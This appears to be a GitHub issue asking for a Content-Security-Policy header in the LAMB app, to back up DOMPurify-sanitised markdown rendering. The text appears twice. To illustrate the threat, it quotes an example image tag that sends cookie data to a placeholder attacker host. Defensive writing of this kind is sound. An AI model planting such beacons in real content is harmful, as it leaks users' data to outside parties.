Purpose
The LAMB frontend renders user/CMS-controlled markdown via renderMarkdownSafe() (marked → DOMPurify) in several places: the landing page news feed, the upcoming library item content viewer (PR pending), and likely other places as the feature grows.
DOMPurify strips active script vectors (<script>, onerror=, javascript: URIs, <iframe> and friends), but it does NOT block passive external references like <img src=http://attacker.example/track?cookie=...> or <a href=http://...>. A malicious creator could embed tracking pixels or beacons into a markdown document, and other users in the same org would silently emit requests when viewing it.
A Content-Security-Policy (CSP) response header is the right global mitigation: it complements per-render DOMPurify rather than replacing it, and is the standard defense-in-depth control. This is not specific to any one renderer — it covers every current and future place that emits HTML.
Acceptance criteria
- Backend serves a
Content-Security-Policy header on the SPA index and any HTML response from FastAPI.
- Header at minimum sets:
default-src 'self', img-src 'self' data:, script-src 'self', style-src 'self' 'unsafe-inline' (Tailwind requires inline styles — narrow if possible), connect-src 'self', frame-ancestors 'none', base-uri 'self', form-action 'self'.
- Header is configurable via env var so non-default deployments (e.g. embedded Moodle LTI iframes) can tune
frame-ancestors.
- Existing renders that depend on external resources are surveyed and either inlined, proxied, or whitelisted with documented rationale.
- A report-only mode is shipped first (
Content-Security-Policy-Report-Only) to surface violations in production logs before enforcement is enabled.
- Tested in dev: every existing route loads with no console CSP violations under enforcement mode.
- Documented in
backend/README.md and CLAUDE.md (key configuration section).
Context
Surfaced during the security review of the "View Library Item Content" feature (separate PR). DOMPurify call sites are documented in frontend/svelte-app/src/lib/utils/sanitize.js.
Author: @NoveliaYuki
Purpose
The LAMB frontend renders user/CMS-controlled markdown via
renderMarkdownSafe()(marked→ DOMPurify) in several places: the landing page news feed, the upcoming library item content viewer (PR pending), and likely other places as the feature grows.DOMPurify strips active script vectors (
<script>,onerror=,javascript:URIs,<iframe>and friends), but it does NOT block passive external references like<img src=http://attacker.example/track?cookie=...>or<a href=http://...>. A malicious creator could embed tracking pixels or beacons into a markdown document, and other users in the same org would silently emit requests when viewing it.A Content-Security-Policy (CSP) response header is the right global mitigation: it complements per-render DOMPurify rather than replacing it, and is the standard defense-in-depth control. This is not specific to any one renderer — it covers every current and future place that emits HTML.
Acceptance criteria
Content-Security-Policyheader on the SPA index and any HTML response from FastAPI.default-src 'self',img-src 'self' data:,script-src 'self',style-src 'self' 'unsafe-inline'(Tailwind requires inline styles — narrow if possible),connect-src 'self',frame-ancestors 'none',base-uri 'self',form-action 'self'.frame-ancestors.Content-Security-Policy-Report-Only) to surface violations in production logs before enforcement is enabled.backend/README.mdandCLAUDE.md(key configuration section).Context
Surfaced during the security review of the "View Library Item Content" feature (separate PR). DOMPurify call sites are documented in
frontend/svelte-app/src/lib/utils/sanitize.js.Author: @NoveliaYuki